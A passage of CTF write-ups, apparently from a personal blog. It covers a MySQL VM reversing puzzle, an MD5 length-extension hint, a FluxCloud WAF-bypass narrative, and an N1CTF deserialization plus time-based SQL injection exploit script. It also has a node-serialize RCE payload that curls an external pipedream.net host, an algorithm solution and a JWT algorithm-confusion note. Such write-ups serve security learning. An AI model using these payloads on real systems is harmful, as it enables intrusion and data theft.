WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>'))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0)
WHEN 3 THEN @notok := 'Wrong.'
WHEN 42 THEN @pc:=45
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89)
WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32))
WHEN 91 THEN @pc:=126
WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 34 THEN @sp := @sp - 2
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89)
WHEN 37 THEN @i := 13
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>'))
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0)
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0)
WHEN 111 THEN @sp := @sp - 1
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0)
WHEN 80 THEN 0
WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 120 THEN @rv := 0
WHEN 90 THEN @out := @notok
WHEN 61 THEN @pc:=113
WHEN 43 THEN 0
WHEN 30 THEN @sp := @sp + 1
WHEN 101 THEN @sp := @sp + 1
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0)
WHEN 71 THEN 0
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89)
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0)
WHEN 62 THEN @sp := @sp - 2
WHEN 2 THEN @ok := 'OK.'
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89)
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89)
WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]')
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG)
WHEN 1 THEN @strn := 'MySQL'
WHEN 39 THEN 0
WHEN 96 THEN @rv := 1
WHEN 106 THEN @pc:=92
WHEN 114 THEN @get_arg_tmp := @sp-3
WHEN 47 THEN IF(@i > 10, @pc:=39, 0)
WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50))
WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 60 THEN @sp := @sp + 1
WHEN 99 THEN 0
WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 89 THEN 0
WHEN 38 THEN @l := 0
WHEN 113 THEN 0
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89)
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3)
WHEN 44 THEN @l := 1
WHEN 65 THEN @i := 33
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0)
WHEN 110 THEN @rv := @rv * @n
WHEN 125 THEN @out := @notok
WHEN 127 THEN 0
WHEN 4 THEN @targetsz := 42
WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG)
WHEN 116 THEN @get_arg_tmp := @sp-2
WHEN 23 THEN @sp := @sp + 1
WHEN 105 THEN @sp := @sp + 1
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89)
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1))
WHEN 72 THEN @l := @l + 1
WHEN 77 THEN 0
WHEN 118 THEN @rv := 1
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0)
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0)
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i)))
WHEN 79 THEN @pc:=126
WHEN 124 THEN 0
WHEN 66 THEN @l := 0
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>'))
WHEN 67 THEN 0
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END,
@pc:=@pc+1
FROM
(SELECT (E0.v+E1.v+E2.v+E3.v+E4.v+E5.v+E6.v+E7.v+E8.v+E9.v+E10.v) v FROM
(SELECT 0 v UNION ALL SELECT 1 v) E0 CROSS JOIN (SELECT 0 v UNION ALL SELECT 2 v) E1 CROSS JOIN (SELECT 0 v UNION ALL SELECT 4 v) E2 CROSS JOIN (SELECT 0 v UNION ALL SELECT 8 v) E3 CROSS JOIN (SELECT 0 v UNION ALL SELECT 16 v) E4 CROSS JOIN (SELECT 0 v UNION ALL SELECT 32 v) E5 CROSS JOIN (SELECT 0 v UNION ALL SELECT 64 v) E6 CROSS JOIN (SELECT 0 v UNION ALL SELECT 128 v) E7 CROSS JOIN (SELECT 0 v UNION ALL SELECT 256 v) E8 CROSS JOIN (SELECT 0 v UNION ALL SELECT 512 v) E9 CROSS JOIN (SELECT 0 v UNION ALL SELECT 1024 v) E10 ORDER BY v) s)
q ORDER BY v DESC LIMIT 1
By sorting the vm instructions with pc value, we can analysis logic at ease.
Sorted version is following.
WHEN 0 THEN @mem:=CONCAT(@mem,REPEAT('<m></m>',50))
WHEN 1 THEN @strn := 'MySQL'
WHEN 2 THEN @ok := 'OK.'
WHEN 3 THEN @notok := 'Wrong.'
WHEN 4 THEN @targetsz := 42
WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG)
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0)
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0)
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89)
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89)
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG)
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89)
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80)
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3)
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89)
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5)
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0)
WHEN 19 THEN @sp := 1
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>'))
WHEN 21 THEN @sp := @sp + 1
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 23 THEN @sp := @sp + 1
WHEN 24 THEN @pc:=92
WHEN 25 THEN @sp := @sp - 1
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6)
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 28 THEN @sp := @sp + 1
WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>'))
WHEN 30 THEN @sp := @sp + 1
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 32 THEN @sp := @sp + 1
WHEN 33 THEN @pc:=113
WHEN 34 THEN @sp := @sp - 2
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0)
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89)
WHEN 37 THEN @i := 13
WHEN 38 THEN @l := 0
WHEN 39 THEN 0
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i)))
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43)
WHEN 42 THEN @pc:=45
WHEN 43 THEN 0
WHEN 44 THEN @l := 1
WHEN 45 THEN 0
WHEN 46 THEN @i := @i - 1
WHEN 47 THEN IF(@i > 10, @pc:=39, 0)
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0)
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0)
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32))
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89)
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0)
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0)
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1))
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 56 THEN @sp := @sp + 1
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>'))
WHEN 58 THEN @sp := @sp + 1
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 60 THEN @sp := @sp + 1
WHEN 61 THEN @pc:=113
WHEN 62 THEN @sp := @sp - 2
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0)
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89)
WHEN 65 THEN @i := 33
WHEN 66 THEN @l := 0
WHEN 67 THEN 0
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i)))
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71)
WHEN 70 THEN @pc:=73
WHEN 71 THEN 0
WHEN 72 THEN @l := @l + 1
WHEN 73 THEN 0
WHEN 74 THEN @i := @i + 1
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0)
WHEN 77 THEN 0
WHEN 78 THEN @out := @ok
WHEN 79 THEN @pc:=126
WHEN 80 THEN 0
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4)
WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5)
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89)
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89)
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6)
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7)
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89)
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89)
WHEN 89 THEN 0
WHEN 90 THEN @out := @notok
WHEN 91 THEN @pc:=126
WHEN 92 THEN 0
WHEN 93 THEN @get_arg_tmp := @sp-2
WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 95 THEN IF(@n = 0, 0, @pc:=99)
WHEN 96 THEN @rv := 1
WHEN 97 THEN @sp := @sp - 1
WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 99 THEN 0
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>'))
WHEN 101 THEN @sp := @sp + 1
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>'))
WHEN 103 THEN @sp := @sp + 1
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 105 THEN @sp := @sp + 1
WHEN 106 THEN @pc:=92
WHEN 107 THEN @sp := @sp - 1
WHEN 108 THEN @sp := @sp - 1
WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]')
WHEN 110 THEN @rv := @rv * @n
WHEN 111 THEN @sp := @sp - 1
WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 113 THEN 0
WHEN 114 THEN @get_arg_tmp := @sp-3
WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 116 THEN @get_arg_tmp := @sp-2
WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 118 THEN @rv := 1
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0)
WHEN 120 THEN @rv := 0
WHEN 121 THEN 0
WHEN 122 THEN @sp := @sp - 1
WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 124 THEN 0
WHEN 125 THEN @out := @notok
WHEN 126 THEN 0
WHEN 127 THEN 0
Just following one by one, we can get the most segment of flag.
But there are two some annoying chore part.
First one is sounds like based part.
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
The flag value from sql SOUNDS LIKE syntax can be multiple answer. But there is a hint about it.
The return value of weight_string can be difference based of mysql version and operation systems.
REGEXP_REPLLACE function is not supported in mysql 5.x version.
Then we can guess the version dependency is based on 8.x version.
There is note that we should not use windows based os but linux os in order to get the right flag.
I had annoying chore to establish the environment.
I wrote python script to get 2 char, brute force search.
#!/usr/bin/env python3.5
# -*- coding: utf-8 -*-
import pymysql
import sys
conn = pymysql.connect(host="localhost", user="root", password="12321", db="bobgil")
curs = conn.cursor(pymysql.cursors.DictCursor)
flag = "X-MAS{Wooat???_4_VM_++_My_SQL???_mnohijkd}"
candid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()"
def chk():
q = """SELECT IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "TRUE", "FALSE")"""
curs.execute(q)
rows = curs.fetchall()
return "TRUE" in repr(rows[0].values())
success = []
for a in candid:
for b in candid:
print (a,b)
curs.execute("update FLAG set n='{}' where id=20".format(a))
curs.execute("update FLAG set n='{}' where id=21".format(b))
conn.commit()
# sys.exit()
if chk():
print ("COOL", a,b)
success.append((a,b))
assert len(success) > 0
print ("WOWW")
print (success)
Fortunately, I've got the right flag.
The flag is X-MAS{Wooat???_4_VM_1n_My_SQL???_mnohijkd}
Web - Cat clicker
Hint indicates, the server project is managed by git. jeongwon jo leaked the server source code with accessing git repository.
The server does not store the data how many can cat the client have, like jwt just check the data and signature to verify integrity.
Checking server side code, the server using md5 based hmac with 64byte random key.
<?php
function hashFor($state) {
$secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess
$s = "$secret | $state";
return md5($s);
}
function verifyState($state, $hash) {
return $hash === hashFor($state);
}
function getCatsNo($state) {
$arr = explode(" | ", $state);
return intval(end($arr));
}
function getParentsLimit($state) {
$arr = explode(" | ", $state);
return intval(reset($arr));
}
?>%
The signature format is like "secret | 12 | 0".
md5 function is vulnerable to hash length extension attack. So, appending some value, we can get the flag.
I tried hack.lu ctf 2020 several easy-web challs. There are write-ups.
FluxCloudFluxCloud Serverless (1.0 and 2.0)
I tried both challenge with same solution. I think I first found solution for 2.0, it also worked to 1.0 version challenge.
It provides node.js server source code.
There are a few files in zip file. I carefully audited the code.
In this code, the flag is returned by router.get('/flag');
But it is not that simple, because to reach that app.js code, we should passthrough the serverless/index.js router.
router for /:deploymentId/ handles deploymentRouter and then do waf, after then do app function.
But there is interesting concept, that is the billing system.
the app function and waf function is wraped by billed function. billed function is defined in serverless/billing.js
billed function check if the money in account is sufficient to pay the cost for traffic.
When the demo server created, the virtual account is goes up, with some money. Everytime the billed function is called, the money reduces. I didn't audit that code exactly, maybe the money of deployment server is stored in database implemented by redis.
The account for waf and for app is different. If I can make deplete only account for WAF, not app, the waf is disabled, then I can access the flag!
Taking advantage of try-catch phrase in serverless/index.js /:deploymentId/ router, I tried to trigger exception in waf function.
Auditing waf.js code, it checks multiple encoded url and body with recursive function. With too much call of recursive function call, the stack overflow will be triggered. So, I made a HTTP request a thousands of encoded string like %25252525252525.
If the error in serverside occurs, the response is "rip". I tried that request more times to exhaust ACCOUNT_SECURITY to suppress waf functionality.
Finding response header, X-Billing-Account exists. It means, ACCOUNT_SECURITY deposit is bankrupt.
Let's try to access flag!
Cool.
2.0 version chall could be beated with same solution.
web - Confession
Client send graphql query to server. I googled graphql vulenerabilities.
The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.
Approach
It provided us the source code without some details.
<?php
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
Mysql database password and key value are blurred. We can guess what we should do is to get the key code.
We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.
Error based SQL Injection
I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.
Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.
Time based SQL Injection
Some keywords are filtered by server. Below 3 are obviously filtered keywords
- sleep
- benchmark
- count
Also, I thought the comment meta char like - and # are filtered also.
Because of limited debugging environment, I should guess the server filter keywords with a little information.
Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.
Insert into n1ip query repeates many times, thus, just lookup the table takes some times.
Limits
Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!
Exploit
From fetching table schema where the key located, to get the key from the database.
Insert key value to $flag->check, you can get the real flag.
#!/usr/bin/env python3
import requests
import sys
url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}
def query(payload):
global headers
headers["X-Forwarded-For"] = payload
try:
response = requests.get(url, headers=headers, timeout=1.5)
except requests.exceptions.ReadTimeout:
print ("Time out!! 1.5")
return False
seconds = response.elapsed.total_seconds()
# print (response.text)
if "hackhack" in response.text:
print ("Keyword filtered!")
print (seconds)
return True
print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))
# sys.exit()
def db_name_length():
left = 0
right = 50
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def table_list_length():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def table_list_char(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
def get_col_len():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
left = mid
else:
right = mid
return left
def get_cols(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
def get_key_len():
left = 0
right = 100
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
# if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
left = mid
else:
right = mid
return left
def get_key(len):
res = ""
for i in range(1,len+1):
left = 0
right = 256
#[left, right)
while left + 1 < right:
mid = (left+right)//2
print ('querying {} {} {}'.format(left, mid, right))
# if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
left = mid
else:
right = mid
res += chr(left)
print (res)
return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))
"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은
n1ctf20205bf75ab0a30dfc0c
길이 25
"""
Auditing the source code, login process pass is impossible.
but, we can bypass the load_cookie() function.
in try except statement, let's evoke the error then we got the valid return value.
If there is no field named 'digest' in cookie, in load_cookie function, cookie.pop("digest") statement will evoke error. But, because of try-except block, it will escape from the procedure, just return the True value. It is simple implementation logic bug about that.
I refered the document about node-serialize module RCE vulnerability.
var y = {
rce : function(){
require('child_process').execSync('ls');
},
}
var serialize = require('node-serialize');
var ser = serialize.serialize(y);
console.log("Serialized: \n" + ser);
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://enjm0grb1zb3c.x.pipedream.net/hello\');}()"}';
serialize.unserialize(payload)
2차원 누적합을 사용하면, 구간 합을 //(O(1)//)만에 구할 수 있다. 총 시간복잡도는 //(O(N^4)//)인데, //(N=500//)이므로 계산량은 625억 정도가 된다. 보통 1억번의 연산이 1초 정도 걸리므로, 대충 600초=10분 정도의 시간이 소요된다.
Using 2nd dimension cumulative summation, you can easily get range summation in //(O(1)//) time complexity. Then, total time complexity is //(O(N^4)//), while //(N=500//), total computing amount is about 62.5 billions.
Average CPU runs 100 million arithmetic for seconds, roughly 600 seconds(=10 minutes) will take to complete computation.
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
#define endl '\n'
ll accu[505][505];
ll sign[505][505];
ll g(int x1, int y1, int x2, int y2) {
return accu[x2][y2] - accu[x2][y1 - 1] - accu[x1 - 1][y2] + accu[x1 - 1][y1 - 1];
}
ll s(int x1, int y1, int x2, int y2) {
return sign[x2][y2] - sign[x2][y1 - 1] - sign[x1 - 1][y2] + sign[x1 - 1][y1 - 1];
}
int main() {
for (int i = 1; i <= 500; i++) {
for (int j = 1; j <= 500; j++) {
int tmp;
scanf("%d", &tmp);
accu[i][j] = accu[i][j - 1] + tmp;
sign[i][j] = sign[i][j - 1] + (tmp == -1);
}
}
puts("got input!");
for (int i = 1; i <= 500; i++) {
for (int j = 1; j <= 500; j++) {
accu[j][i] += accu[j - 1][i];
sign[j][i] += sign[j - 1][i];
}
}
puts("calc 누적합!");
ll ans = 0;
for (int i = 1; i <= 500; i++) {
printf("Progress %d/500\n", i);
for (int j = 1; j <= 500; j++) {
for (int x = i; x <= 500; x++) {
for (int y = j; y <= 500; y++) {
ll add = g(i, j, x, y);
if (add % 13 == 0) {
if (s(i, j, x, y) & 1) {
add = -add;
}
ans += add;
}
}
}
}
}
cout << ans << endl;
return 0;
}
flag{7508511543}
Web - Broken Token
소스코드를 보면 웹에서 JWT를 사용한다. 그런데, 디코딩을 할 때에는 jwt 알고리즘을 명시적으로 선언해놓지 않았다. 따라서 공개키 암호 방식인 RS256대신 대칭키 암호 방식인 HS256를 강제하게 해서 jwt를 변조할 수 있다.
